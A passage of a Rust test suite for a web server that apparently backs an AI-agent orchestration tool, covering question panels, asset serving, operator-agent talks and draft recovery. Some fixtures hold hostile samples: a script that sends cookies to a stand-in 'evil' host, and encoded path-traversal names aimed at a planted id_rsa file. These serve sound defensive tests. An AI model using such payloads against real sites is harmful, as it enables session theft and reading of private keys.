4646 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4647 assert_eq!(
4648 pre.header("content-security-policy"),
4649 res.header("content-security-policy"),
4650 "{path}: the preflight carries the same policy"
4651 );
4652 assert_eq!(
4653 pre.header("content-type"),
4654 res.header("content-type"),
4655 "{path}: the preflight carries the same type"
4656 );
4657 }
4658 }
4659
4660 #[tokio::test]
4661 async fn a_panel_reaches_the_browser_byte_for_byte() {
4662 let fx = Fixture::start().await;
4663 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4668 let id = panel(&fx, html, &[]);
4669
4670 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4671
4672 assert_eq!(res.status, 200);
4673 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4674 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4675 assert_eq!(
4676 res.header("content-disposition"),
4677 None,
4678 "the panel itself is rendered in the frame, not downloaded"
4679 );
4680 }
4681
4682 #[tokio::test]
4683 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4684 let fx = Fixture::start().await;
4685 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4686 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4687 let id = panel(
4688 &fx,
4689 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4690 &[("diff.svg", svg), ("shot.png", png)],
4691 );
4692
4693 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4694 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4695
4696 assert_eq!(as_svg.status, 200);
4697 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4698 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4703
4704 assert_eq!(as_png.status, 200);
4705 assert_eq!(as_png.header("content-type"), Some("image/png"));
4706 assert_eq!(
4707 as_png.header("content-disposition"),
4708 None,
4709 "a raster image has no execution surface, so tapping it still shows it"
4710 );
4711 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4712 }
4713
4714 #[tokio::test]
4715 async fn an_html_asset_is_never_served_as_html() {
4716 let fx = Fixture::start().await;
4717 let id = panel(
4718 &fx,
4719 "<p>see the notes</p>",
4720 &[
4721 (
4722 "notes.html",
4723 b"<script>fetch('http://evil/'+document.cookie)</script>",
4724 ),
4725 ("hook.js", b"fetch('http://evil/')"),
4726 ("data.json", b"{}"),
4727 ("HEADLINE.TXT", b"plain"),
4728 ],
4729 );
4730
4731 for name in ["notes.html", "hook.js", "data.json"] {
4732 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4733 assert_eq!(res.status, 200, "{name}: {}", res.body);
4734 assert_eq!(
4739 res.header("content-type"),
4740 Some("application/octet-stream"),
4741 "{name} must not be a type the browser will execute or render"
4742 );
4743 }
4744 let txt = fx
4747 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4748 .await;
4749 assert_eq!(
4750 txt.header("content-type"),
4751 Some("text/plain; charset=utf-8")
4752 );
4753 }
4754
4755 #[tokio::test]
4756 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4757 let fx = Fixture::start().await;
4758 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4759 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4763
4764 for encoded in [
4771 "%2e%2e%2fid_rsa",
4772 "..%2fid_rsa",
4773 "..%5cid_rsa",
4774 "%2e%2e%5cid_rsa",
4775 "diff%00.svg",
4776 "..",
4777 ".hidden",
4778 "%2e%2e%2f%2e%2e%2fid_rsa",
4779 ] {
4780 let res = fx
4781 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4782 .await;
4783 assert_eq!(
4784 res.status, 400,
4785 "`{encoded}` has to be refused by name, not looked up: {}",
4786 res.body
4787 );
4788 assert!(res.json()["error"].is_string(), "{}", res.body);
4789 }
4790
4791 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4797 let res = fx
4798 .get(&format!("/api/questions/{id}/asset/{literal}"))
4799 .await;
4800 assert_eq!(
4801 res.status, 404,
4802 "`{literal}` must not match the asset route at all: {}",
4803 res.body
4804 );
4805 }
4806 }
4807
4808 #[tokio::test]
4809 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4810 let fx = Fixture::start().await;
4811 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4812 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4813
4814 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4818 assert_eq!(none.status, 404, "{}", none.body);
4819 assert!(none.json()["error"].is_string(), "{}", none.body);
4820 assert_eq!(
4821 fx.head(&format!("/api/questions/{plain}/panel"))
4822 .await
4823 .status,
4824 404,
4825 "the preflight is the only way the client can learn this"
4826 );
4827
4828 let missing = fx
4830 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4831 .await;
4832 assert_eq!(missing.status, 404, "{}", missing.body);
4833 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4834
4835 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4837 assert_eq!(
4838 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4839 404
4840 );
4841 }
4842
4843 #[tokio::test]
4844 async fn a_run_with_an_open_question_reads_as_waiting() {
4845 let fx = Fixture::start().await;
4846 let run = "20260902-000000-beef".to_owned();
4847 write_run(&fx.runs(), &run, RunStatus::Implementing);
4848
4849 let before = fx.get("/api/runs").await.json();
4850 assert_eq!(before[0]["waiting"], false, "{before}");
4851
4852 let store = fx.questions();
4853 let mut q = Question::new(
4854 run.clone(),
4855 "implement".to_owned(),
4856 "impl-A".to_owned(),
4857 "Which backend?".to_owned(),
4858 String::new(),
4859 vec!["SQLite".to_owned()],
4860 );
4861 store.put(&mut q).expect("put");
4862
4863 let during = fx.get("/api/runs").await.json();
4864 assert_eq!(during[0]["waiting"], true, "{during}");
4865
4866 q.answer(Answer::Choice("SQLite".to_owned()))
4869 .expect("answer");
4870 store.put(&mut q).expect("put");
4871 let after = fx.get("/api/runs").await.json();
4872 assert_eq!(after[0]["waiting"], false, "{after}");
4873 }
4874
4875 #[tokio::test]
4876 async fn an_open_question_is_listed_and_counted_by_health() {
4877 let fx = Fixture::start().await;
4878 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4879
4880 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4881 let listed = fx.get("/api/questions").await.json();
4882 assert_eq!(listed.as_array().expect("array").len(), 1);
4883 assert_eq!(listed[0]["id"], id);
4884 assert_eq!(listed[0]["status"], "open");
4885 assert_eq!(listed[0]["choices"][1], "Redis");
4886 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4889 }
4890
4891 #[tokio::test]
4892 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4893 let fx = Fixture::start().await;
4894 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4895 let path = format!("/api/questions/{id}/answer");
4896
4897 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4898 assert_eq!(res.status, 200, "{}", res.body);
4899 let body = res.json();
4900 assert_eq!(body["status"], "answered");
4901 assert_eq!(body["answer"]["choice"], "Redis");
4902
4903 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4907 assert_eq!(again.status, 409, "{}", again.body);
4908 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4909 }
4910
4911 #[tokio::test]
4912 async fn saying_something_appends_a_turn_without_answering() {
4913 let fx = Fixture::start().await;
4914 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4915 let path = format!("/api/questions/{id}/say");
4916
4917 let res = fx
4918 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4919 .await;
4920 assert_eq!(res.status, 200, "{}", res.body);
4921 let body = res.json();
4922 assert_eq!(body["status"], "open", "talking back is not a decision");
4923 assert_eq!(body["answer"], Value::Null);
4924 assert_eq!(body["thread"][0]["who"], "operator");
4925 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4926 assert_eq!(body["waiting_on_agent"], true);
4927 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4929 }
4930
4931 #[tokio::test]
4932 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4933 let fx = Fixture::start().await;
4934 let store = fx.questions();
4935 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4936 assert_eq!(
4937 fx.get("/api/health").await.json()["questions_needs_owner"],
4938 1
4939 );
4940
4941 let res = fx
4947 .post(
4948 &format!("/api/questions/{id}/say"),
4949 Some(r#"{"body":"why not Postgres?"}"#),
4950 )
4951 .await;
4952 assert_eq!(res.status, 200, "{}", res.body);
4953 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4954 assert_eq!(
4955 fx.get("/api/health").await.json()["questions_needs_owner"],
4956 0,
4957 "waiting on the agent is not waiting on the owner"
4958 );
4959
4960 let mut q = store.get(&id).expect("get");
4964 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4965 .expect("reply");
4966 store.put(&mut q).expect("put");
4967 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4968 assert_eq!(
4969 fx.get("/api/health").await.json()["questions_needs_owner"],
4970 1,
4971 "the agent's reply is what should light the banner back up"
4972 );
4973 }
4974
4975 #[tokio::test]
4976 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4977 let fx = Fixture::start().await;
4978 let store = fx.questions();
4979
4980 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4981 let res = fx
4982 .post(
4983 &format!("/api/questions/{empty_id}/say"),
4984 Some(r#"{"body":" "}"#),
4985 )
4986 .await;
4987 assert_eq!(res.status, 400, "{}", res.body);
4988
4989 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4990 let mut answered = store.get(&answered_id).expect("get");
4991 answered
4992 .answer(Answer::Choice("SQLite".to_owned()))
4993 .expect("answer");
4994 store.put(&mut answered).expect("put");
4995 let res = fx
4996 .post(
4997 &format!("/api/questions/{answered_id}/say"),
4998 Some(r#"{"body":"still there?"}"#),
4999 )
5000 .await;
5001 assert_eq!(res.status, 409, "{}", res.body);
5002
5003 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5004 let mut abandoned = store.get(&abandoned_id).expect("get");
5005 abandoned.abandon("timed out");
5006 store.put(&mut abandoned).expect("put");
5007 let res = fx
5008 .post(
5009 &format!("/api/questions/{abandoned_id}/say"),
5010 Some(r#"{"body":"still there?"}"#),
5011 )
5012 .await;
5013 assert_eq!(res.status, 409, "{}", res.body);
5014 }
5015
5016 #[tokio::test]
5017 async fn an_answer_the_question_does_not_offer_is_refused() {
5018 let fx = Fixture::start().await;
5019 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5020 let path = format!("/api/questions/{id}/answer");
5021
5022 for body in [
5023 r#"{"choice":"Postgres"}"#,
5024 r#"{"text":"whatever you think"}"#,
5025 r#"{"choice":"Redis","text":"both"}"#,
5026 r#"{}"#,
5027 ] {
5028 let res = fx.post(&path, Some(body)).await;
5029 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5030 assert!(res.json()["error"].is_string(), "{}", res.body);
5031 }
5032 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5034 }
5035
5036 #[tokio::test]
5037 async fn a_free_text_question_takes_text_and_not_a_choice() {
5038 let fx = Fixture::start().await;
5039 let id = ask(&fx, "What should the flag be called?", &[]);
5040 let path = format!("/api/questions/{id}/answer");
5041
5042 assert_eq!(
5043 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5044 400
5045 );
5046 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5047 assert_eq!(res.status, 200, "{}", res.body);
5048 assert_eq!(res.json()["answer"]["text"], "--json");
5049 }
5050
5051 #[tokio::test]
5052 async fn an_unknown_question_is_a_json_404() {
5053 let fx = Fixture::start().await;
5054 let res = fx
5055 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5056 .await;
5057 assert_eq!(res.status, 404, "{}", res.body);
5058 assert!(res.json()["error"].is_string());
5059 }
5060
5061 #[tokio::test]
5068 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5069 let f = Fixture::start().await;
5070
5071 let res = f
5072 .post(
5073 "/api/queue",
5074 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5075 )
5076 .await;
5077
5078 assert_eq!(
5079 res.status, 405,
5080 "POST /api/queue must not be a route: {}",
5081 res.body
5082 );
5083 assert!(
5084 f.queue().list().is_empty(),
5085 "a task filed by a route that does not exist must not reach the disk"
5086 );
5087 assert_eq!(f.get("/api/queue").await.status, 200);
5090 }
5091
5092 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5094 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5095 .expect("checkout dir");
5096 }
5097
5098 #[tokio::test]
5099 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5100 let tmp = TempDir::new().expect("tempdir");
5101 let repo = tmp.path().join("repo");
5102 std::fs::create_dir_all(&repo).expect("repo dir");
5103 let root = tmp.path().join("root");
5104 make_checkout(&root, "github.com", "yukimemi", "magi");
5105 std::fs::write(
5106 repo.join("magi.toml"),
5107 format!(
5108 "[repos]\nroots = [{:?}]\n",
5109 root.to_string_lossy().into_owned()
5110 ),
5111 )
5112 .expect("write magi.toml");
5113
5114 let f = Fixture::with_repo(repo).await;
5115 let res = f.get("/api/repos").await;
5116 assert_eq!(res.status, 200, "{}", res.body);
5117 let list = res.json();
5118 let repos = list.as_array().expect("an array");
5119 assert_eq!(repos.len(), 1);
5120 assert_eq!(repos[0]["name"], "yukimemi/magi");
5121 assert!(
5122 repos[0]["path"]
5123 .as_str()
5124 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5125 "{list}"
5126 );
5127 }
5128
5129 #[tokio::test]
5130 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5131 let tmp = TempDir::new().expect("tempdir");
5132 let repo = tmp.path().join("repo");
5133 std::fs::create_dir_all(&repo).expect("repo dir");
5134 let root = tmp.path().join("root");
5135 make_checkout(&root, "github.com", "yukimemi", "magi");
5136 std::fs::write(
5137 repo.join("magi.toml"),
5138 format!(
5139 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5140 root.to_string_lossy().into_owned()
5141 ),
5142 )
5143 .expect("write magi.toml");
5144
5145 let f = Fixture::with_repo(repo).await;
5146 let first = f.get("/api/repos").await;
5147 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5148
5149 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5152 let second = f.get("/api/repos").await;
5153 assert_eq!(
5154 second.json().as_array().map(Vec::len),
5155 Some(1),
5156 "a fresh cache must not rescan inside the TTL"
5157 );
5158
5159 let refreshed = f.get("/api/repos?refresh=1").await;
5160 assert_eq!(
5161 refreshed.json().as_array().map(Vec::len),
5162 Some(2),
5163 "an explicit refresh must rescan even inside the TTL"
5164 );
5165 }
5166
5167 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5173
5174 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5178 let tmp = TempDir::new().expect("tempdir");
5179 let repo = tmp.path().join("repo");
5180 std::fs::create_dir_all(&repo).expect("repo dir");
5181 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5182 let f = Fixture::with_repo(repo.clone()).await;
5183 (tmp, repo, f)
5184 }
5185
5186 #[tokio::test]
5187 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5188 let (_tmp, _repo, f) = talk_fixture().await;
5189
5190 let opened = f.post("/api/talks", None).await;
5193 assert_eq!(opened.status, 201, "{}", opened.body);
5194 let body = opened.json();
5195 assert_eq!(body["status"], "open");
5196 assert_eq!(
5197 body["turns"].as_array().unwrap().len(),
5198 0,
5199 "opening takes no agent turn: there is nothing yet to answer"
5200 );
5201
5202 let also_opened = f.post("/api/talks", Some("{}")).await;
5204 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5205
5206 let listed = f.get("/api/talks").await.json();
5207 assert_eq!(listed.as_array().unwrap().len(), 2);
5208 }
5209
5210 #[tokio::test]
5211 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5212 let f = Fixture::start().await;
5213 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5214 let queue = f.queue();
5215 let mut mine = Task::new(
5216 "rename the loader".to_owned(),
5217 "rename the loader".to_owned(),
5218 PathBuf::from("/repo/magi"),
5219 Source::Agent {
5220 run: talk_id.clone(),
5221 node: "chat".to_owned(),
5222 },
5223 );
5224 queue.put(&mut mine).expect("file the task");
5225 let mut theirs = Task::new(
5226 "unrelated".to_owned(),
5227 "unrelated".to_owned(),
5228 PathBuf::from("/repo/magi"),
5229 Source::Human,
5230 );
5231 queue.put(&mut theirs).expect("file the task");
5232
5233 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5234 assert_eq!(res.status, 200, "{}", res.body);
5235 let body = res.json();
5236 assert_eq!(
5237 body["status"], "open",
5238 "filing a task does not close a talk"
5239 );
5240 let tasks = body["tasks"].as_array().expect("tasks array");
5241 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5242 assert_eq!(tasks[0]["id"], mine.id);
5243 }
5244
5245 #[tokio::test]
5246 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5247 let (_tmp, _repo, f) = talk_fixture().await;
5248 let id = f.post("/api/talks", None).await.json()["id"]
5249 .as_str()
5250 .expect("id")
5251 .to_owned();
5252
5253 let res = f
5254 .post(
5255 &format!("/api/talks/{id}/say"),
5256 Some(r#"{"text":"what does the queue module do?"}"#),
5257 )
5258 .await;
5259 assert_eq!(res.status, 202, "{}", res.body);
5260 let queued = res.json();
5261 let turns = queued["turns"].as_array().expect("turns array");
5262 assert_eq!(
5263 turns.len(),
5264 1,
5265 "the answer reflects only what is on disk the instant it is sent, \
5266 before the agent's turn - which can run for the whole of \
5267 `[graph] timeout_talk` - has a chance to land: {queued}"
5268 );
5269 assert_eq!(turns[0]["who"], "operator");
5270 assert_eq!(turns[0]["body"], "what does the queue module do?");
5271 assert_eq!(
5272 queued["thinking"], true,
5273 "the accepted response exposes the background turn claim: {queued}"
5274 );
5275
5276 let mut turns_after = 1;
5277 for _ in 0..SETTLE_STEPS {
5278 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5279 turns_after = detail["turns"].as_array().expect("turns array").len();
5280 if turns_after == 2 {
5281 break;
5282 }
5283 tokio::time::sleep(Duration::from_millis(10)).await;
5284 }
5285 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5286 }
5287
5288 #[tokio::test]
5315 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5316 let tmp = TempDir::new().expect("tempdir");
5317 let repo = tmp.path().join("repo");
5318 std::fs::create_dir_all(&repo).expect("repo dir");
5319 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5320 let home = TempDir::new().expect("temp home");
5321 let talks = Talks::at(home.path().join("talks"));
5322 let ui = Arc::new(
5323 Ui::new(
5324 Queue::at(home.path().join("queue")),
5325 Questions::at(home.path().join("questions")),
5326 talks.clone(),
5327 home.path().join("runs"),
5328 home.path().to_path_buf(),
5329 repo.clone(),
5330 )
5331 .with_worktrees_root(home.path().join("wt")),
5332 );
5333 let cfg = config_for(&repo).await.expect("discover config");
5334
5335 for delay in 0..40u32 {
5336 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5337 let id = talk.id.clone();
5338
5339 let handler = tokio::spawn(talk_say(
5340 State(Arc::clone(&ui)),
5341 Path(id.clone()),
5342 Ok(Json(NewTalkTurn {
5343 text: "what does the queue module do?".to_owned(),
5344 attachments: Vec::new(),
5345 })),
5346 ));
5347 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5348 handler.abort();
5349 let _ = handler.await;
5352
5353 let mut turns = 0;
5354 for _ in 0..SETTLE_STEPS {
5355 if let Ok(fresh) = talks.get(&id) {
5356 turns = fresh.turns.len();
5357 if turns != 1 {
5358 break;
5359 }
5360 }
5361 tokio::time::sleep(Duration::from_millis(10)).await;
5362 }
5363 assert_ne!(
5364 turns, 1,
5365 "delay {delay}: talk {id} recorded the operator's turn but \
5366 the agent never answered - the reply task was never \
5367 started after the handler future was dropped"
5368 );
5369 }
5370 }
5371
5372 #[tokio::test]
5394 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5395 async fn drive<F: std::future::Future>(
5400 fut: &mut std::pin::Pin<Box<F>>,
5401 max_polls: usize,
5402 ) -> bool {
5403 if max_polls == 0 {
5404 return false;
5405 }
5406 let mut polls = 0usize;
5407 let mut ready = false;
5408 std::future::poll_fn(|cx| {
5409 polls += 1;
5410 match fut.as_mut().poll(cx) {
5411 std::task::Poll::Ready(_) => {
5412 ready = true;
5413 std::task::Poll::Ready(())
5414 }
5415 std::task::Poll::Pending if polls >= max_polls => std::task::Poll::Ready(()),
5416 std::task::Poll::Pending => std::task::Poll::Pending,
5417 }
5418 })
5419 .await;
5420 ready
5421 }
5422
5423 let tmp = TempDir::new().expect("tempdir");
5424 let repo = tmp.path().join("repo");
5425 std::fs::create_dir_all(&repo).expect("repo dir");
5426 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5427 let home = TempDir::new().expect("temp home");
5428 let talks = Talks::at(home.path().join("talks"));
5429 let ui = Arc::new(
5430 Ui::new(
5431 Queue::at(home.path().join("queue")),
5432 Questions::at(home.path().join("questions")),
5433 talks.clone(),
5434 home.path().join("runs"),
5435 home.path().to_path_buf(),
5436 repo.clone(),
5437 )
5438 .with_worktrees_root(home.path().join("wt")),
5439 );
5440 let cfg = config_for(&repo).await.expect("discover config");
5441
5442 for polls_after_release in 1..=3usize {
5443 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5444 let id = talk.id.clone();
5445 let turn_guard = ui
5448 .begin_talk_turn(&id)
5449 .expect("claim the turn")
5450 .expect("a fresh talk owes nobody a turn");
5451
5452 let mut handler = Box::pin(talk_say(
5453 State(Arc::clone(&ui)),
5454 Path(id.clone()),
5455 Ok(Json(NewTalkTurn {
5456 text: "what does the queue module do?".to_owned(),
5457 attachments: Vec::new(),
5458 })),
5459 ));
5460 let done = drive(&mut handler, 4).await;
5470 tokio::time::sleep(Duration::from_millis(50)).await;
5471 let running = talks.get(&id).expect("reload talk");
5477 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5478 if !done {
5481 drive(&mut handler, polls_after_release).await;
5482 }
5483 drop(handler);
5484
5485 let mut fresh = talks.get(&id).expect("reload talk");
5491 for _ in 0..SETTLE_STEPS {
5492 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5493 break;
5494 }
5495 tokio::time::sleep(Duration::from_millis(10)).await;
5496 fresh = talks.get(&id).expect("reload talk");
5497 }
5498 assert!(
5499 fresh.pending.is_empty() && fresh.turns.len() == 2,
5500 "polls {polls_after_release}: talk {id} left the operator's \
5501 text queued with no drainer - the reclaimed turn was dropped \
5502 along with the handler future (pending {:?}, {} turns)",
5503 fresh.pending,
5504 fresh.turns.len()
5505 );
5506 }
5507 }
5508
5509 #[tokio::test]
5510 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5511 let (_tmp, _repo, f) = talk_fixture().await;
5512 let id = f.post("/api/talks", None).await.json()["id"]
5513 .as_str()
5514 .expect("id")
5515 .to_owned();
5516 let store = f.talks();
5517 let mut recovered = store.get(&id).expect("opened talk");
5518 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5519 .expect("persist pending draft without a live turn");
5520
5521 let edited = f
5522 .post(
5523 &format!("/api/talks/{id}/pending/edit"),
5524 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5525 )
5526 .await;
5527 assert_eq!(edited.status, 200, "{}", edited.body);
5528 assert!(edited.json()["thinking"].as_bool().unwrap());
5529
5530 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5531 for _ in 0..SETTLE_STEPS {
5532 if detail["turns"].as_array().expect("turns").len() == 2 {
5533 break;
5534 }
5535 tokio::time::sleep(Duration::from_millis(10)).await;
5536 detail = f.get(&format!("/api/talks/{id}")).await.json();
5537 }
5538 let turns = detail["turns"].as_array().expect("turns");
5539 assert_eq!(
5540 turns.len(),
5541 2,
5542 "the recovered draft must run once: {detail}"
5543 );
5544 assert_eq!(turns[0]["body"], "corrected");
5545 assert_eq!(detail["pending"], "");
5546 }
5547
5548 #[tokio::test]
5549 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5550 let tmp = TempDir::new().expect("tempdir");
5551 let repo = tmp.path().join("repo");
5552 std::fs::create_dir_all(&repo).expect("repo dir");
5553 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5554 let f = Fixture::with_repo(repo).await;
5555 let id = f.post("/api/talks", None).await.json()["id"]
5556 .as_str()
5557 .expect("id")
5558 .to_owned();
5559 let store = f.talks();
5560 let mut recovered = store.get(&id).expect("opened talk");
5561 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5562 .expect("persist pending draft without a live turn");
5563
5564 let refused = f
5565 .post(
5566 &format!("/api/talks/{id}/say"),
5567 Some(r#"{"text":"new message"}"#),
5568 )
5569 .await;
5570 assert_eq!(refused.status, 409, "{}", refused.body);
5571 assert!(refused.body.contains("resume"), "{}", refused.body);
5572 let saved = store.get(&id).expect("draft remains after refusal");
5573 assert!(saved.turns.is_empty());
5574 assert_eq!(saved.pending, "saved before restart");
5575
5576 let say_path = format!("/api/talks/{id}/say");
5577 let (first, second) = tokio::join!(
5578 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5579 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5580 );
5581 assert_eq!(first.status, 409, "{}", first.body);
5582 assert_eq!(second.status, 409, "{}", second.body);
5583 let saved = store
5584 .get(&id)
5585 .expect("draft remains after concurrent refusals");
5586 assert!(saved.turns.is_empty());
5587 assert_eq!(saved.pending, "saved before restart");
5588
5589 let resumed = f
5590 .post(&format!("/api/talks/{id}/pending/resume"), None)
5591 .await;
5592 assert_eq!(resumed.status, 202, "{}", resumed.body);
5593 let duplicate = f
5594 .post(&format!("/api/talks/{id}/pending/resume"), None)
5595 .await;
5596 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5597
5598 for _ in 0..SETTLE_STEPS {
5599 if store.get(&id).expect("talk").turns.len() == 2 {
5600 break;
5601 }
5602 tokio::time::sleep(Duration::from_millis(10)).await;
5603 }
5604 let finished = store.get(&id).expect("finished talk");
5605 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5606 assert_eq!(finished.turns[0].body, "saved before restart");
5607 assert!(finished.pending.is_empty());
5608 }
5609
5610 #[tokio::test]
5611 async fn an_image_only_recovered_draft_resumes_without_text() {
5612 let (_tmp, _repo, f) = talk_fixture().await;
5613 let id = f.post("/api/talks", None).await.json()["id"]
5614 .as_str()
5615 .expect("id")
5616 .to_owned();
5617 let uploaded = f
5618 .post_bytes(
5619 &format!("/api/talks/{id}/attachments"),
5620 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5621 PNG_BYTES,
5622 )
5623 .await;
5624 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5625 let attachment = f
5626 .talks()
5627 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5628 .expect("attachment metadata")
5629 .expect("stored attachment");
5630 let store = f.talks();
5631 let mut recovered = store.get(&id).expect("opened talk");
5632 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5633
5634 let resumed = f
5635 .post(&format!("/api/talks/{id}/pending/resume"), None)
5636 .await;
5637 assert_eq!(resumed.status, 202, "{}", resumed.body);
5638 for _ in 0..SETTLE_STEPS {
5639 if store.get(&id).expect("talk").turns.len() == 2 {
5640 break;
5641 }
5642 tokio::time::sleep(Duration::from_millis(10)).await;
5643 }
5644 let finished = store.get(&id).expect("finished talk");
5645 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5646 assert!(finished.turns[0].body.is_empty());
5647 assert_eq!(finished.turns[0].attachments.len(), 1);
5648 assert!(finished.pending_attachments.is_empty());
5649 }
5650
5651 #[tokio::test]
5652 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5653 let (_tmp, _repo, f) = talk_fixture().await;
5654 let id = f.post("/api/talks", None).await.json()["id"]
5655 .as_str()
5656 .expect("id")
5657 .to_owned();
5658 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5659 assert_eq!(closed.status, 200, "{}", closed.body);
5660 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5661 .expect("serialize closed talk");
5662 for (path, body) in [
5663 (format!("/api/talks/{id}/pending/resume"), None),
5664 (
5665 format!("/api/talks/{id}/pending/clear"),
5666 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5667 ),
5668 (
5669 format!("/api/talks/{id}/pending/edit"),
5670 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5671 ),
5672 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5673 ] {
5674 let response = f.post(&path, body).await;
5675 assert_eq!(response.status, 409, "{}", response.body);
